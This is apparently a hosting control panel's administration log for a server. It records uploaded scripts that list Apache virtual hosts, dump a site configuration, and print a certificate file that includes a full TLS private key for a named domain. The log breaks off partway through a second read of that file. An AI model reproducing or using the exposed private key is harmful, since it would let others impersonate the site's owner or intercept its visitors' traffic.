MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:50:36: Establishing a connection
2026-01-03 18:50:37:
PUT: /tmp/pkp730619
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 18:50:38:
chmod 755 /tmp/pkp730619; /tmp/pkp730619; rm /tmp/pkp730619
2026-01-03 18:50:39:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 18:50:39:
PUT: /tmp/pkp501276
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:50:39:
chmod 755 /tmp/pkp501276; /tmp/pkp501276; rm /tmp/pkp501276
2026-01-03 18:50:39:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2026-01-03 18:50:39:
PUT: /tmp/pkp444965
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:50:40:
chmod 755 /tmp/pkp444965; /tmp/pkp444965; rm /tmp/pkp444965
2026-01-03 18:50:40:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 18:50:40:
PUT: /tmp/pkp489775
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:50:40:
chmod 755 /tmp/pkp489775; /tmp/pkp489775; rm /tmp/pkp489775
2026-01-03 18:50:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
